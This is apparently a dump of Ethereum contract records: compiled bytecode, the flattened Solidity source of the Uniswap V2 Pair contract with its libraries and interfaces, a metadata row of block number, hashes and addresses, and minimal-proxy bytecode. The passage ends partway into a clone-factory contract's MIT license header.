ffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
|
// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,497,377 |
76e7e81d95f9a22e29428fe4a5c3cf18b9dd8cdaa6e8fa3eabd6fa4dcc62f96f
|
0b68b1ea185595ec96d3837131f6aa06ff143bfdd46978bf4d4af2cac311882b
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
f8721a63903039b3a2d8f9bd2f53f6c064bc1dc9
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
